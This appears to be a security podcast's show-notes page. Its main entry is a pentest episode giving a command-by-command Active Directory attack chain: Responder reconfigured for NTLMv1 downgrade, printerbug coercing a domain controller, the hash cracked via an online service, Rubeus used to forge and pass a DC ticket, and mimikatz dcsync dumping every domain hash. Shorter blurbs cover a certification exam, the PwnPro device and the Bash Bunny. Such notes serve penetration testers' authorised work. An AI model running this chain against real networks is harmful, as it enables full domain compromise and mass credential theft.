7MS: #559: Tales of Pentest Pwnage - Part 46

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood):

Change the Responder.conf file like so:

; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788

Run Responder with --disable-ess flag

sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess

Use printerbug to coax authentication from a domain controller:

sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX

Convert hash to make it easier to crack!

sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER

Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds!

Now you can do a Rubeus asktgt with the DC hash:

rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap

Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!!

rubeus.exe ptt /ticket:TICKET GOES HERE

Use mimikatz to dump all hashes!

mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

7MS #256: AlienVault Certified System Engineer - Part 2

So a few weeks ago I did an episode about the AlienVault Certified Security Engineer certification, and last Friday I took a stab at the test. I failed. It kicked my butt. Today I'm here to both rant about the unfairness of the test and offer you some study tips so you don't suffer a similar fate. P.S. - you should definitely check out this blog as it's one of the few valuable study guides I could find out there on the Interwebs.

7MS #255: PwnPro 101

I'm kicking the tires on the PwnPro which is an all-in-one wired, wireless and Bluetooth assessment and pentesting tool. Upon getting plugged into a network, it peers with a cloud portal and lets you assess and pentest from the comfort of your jammies back at your house! Oh, and did I mention it runs Kali on the back end? Delicious. Today's episode dives into some of what I've been learning about the PwnPro as I run it through its paces at work and warm it up for our first customer assessment...

7MS #254: Bash Bunny

I've been working with the Bash Bunny for the past few weeks in preparation for a presentation/demo I'm doing in a few weeks. Today I want to talk about what the Bunny is, the cool things it can do, and some of my favorite payloads. Also, I started thinking about what conversation topics spawn from a demo of the Bunny. Specifically, I want to know how people would defend against the Bunny using AD policies, peripheral controls, etc. Check out the Hak5 thread I started about this, as it has got some great ideas.
